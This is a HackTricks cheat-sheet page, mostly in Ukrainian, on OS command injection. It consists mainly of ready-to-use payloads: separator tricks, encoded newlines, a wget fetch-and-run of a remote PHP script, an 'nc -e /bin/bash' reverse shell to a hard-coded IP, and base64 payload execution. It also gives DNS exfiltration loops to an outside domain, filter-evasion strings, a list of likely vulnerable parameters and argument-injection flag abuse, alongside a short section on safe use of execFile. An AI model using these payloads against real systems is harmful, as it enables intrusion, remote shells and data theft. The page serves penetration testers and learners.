Command Injection
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке command Injection?
A command injection дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок і всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та базовою операційною системою.
Контекст
Залежно від де вставляється ваше введення вам може знадобитися завершити контекст у лапках (використовуючи "
або '
) перед командами.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Обмеження Bypasses
Якщо ви намагаєтесь виконати довільні команди всередині linux-машини, вам буде цікаво прочитати про ці Bypasses:
Приклади
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Параметри
Нижче наведено топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Витяг даних: символ за символом
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
На основі інструмента з https://github.com/HoLyVieR/dnsbin
, також розміщено на dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Онлайн-інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Обхід фільтрації
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec
проти execFile
Під час аудиту бекендів на JavaScript/TypeScript ви часто натрапите на API Node.js child_process
.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec()
запускає shell (/bin/sh -c
), тому будь-який символ, що має спеціальне значення для shell (back-ticks, ;
, &&
, |
, $()
, …), призведе до command injection, якщо введення користувача конкатенується в рядок.
Запобігання: використовуйте execFile()
(або spawn()
без опції shell
) і передавайте кожен аргумент як окремий елемент масиву, щоб shell
не брав участі:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 був вразливий через неавторизований WebSocket-подію, яка поміщала керовані атакуючим дані в id_user
, що пізніше вставлялись у виклик exec()
, досягаючи RCE (Pwn2Own Ireland 2024).
Ін'єкція аргументів/опцій через провідний дефіс (argv, без shell-метасимволів)
Не всі ін'єкції вимагають shell-метасимволів. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть з execve
/execFile
і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з -
або --
, як опцію. Це дозволяє атакуючому змінювати режим роботи, шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.
Типові місця, де це зустрічається:
- Вбудовані веб-UI/CGI-обробники, які формують команди типу
ping <user>
,tcpdump -i <iface> -w <file>
,curl <url>
, тощо. - Централізовані CGI-маршрутизатори (наприклад,
/cgi-bin/<something>.cgi
з параметром селектора типуtopicurl=<handler>
), де кілька обробників повторно використовують один і той же слабкий валідатор.
Що спробувати:
- Передавати значення, що починаються з
-
/--
, щоб вони були спожиті як прапорці downstream-утилітою. - Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад:
ping
:-f
/-c 100000
щоб навантажити пристрій (DoS)curl
:-o /tmp/x
щоб записати довільні шляхи,-K <url>
щоб завантажити контрольований атакуючим конфігtcpdump
:-G 1 -W 1 -z /path/script.sh
щоб досягти виконання після ротації в небезпечних обгортках- Якщо програма підтримує
--
end-of-options, спробуйте обійти наївні пом'якшення, які додають--
в неправильне місце.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Список виявлення Brute-Force
Посилання
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.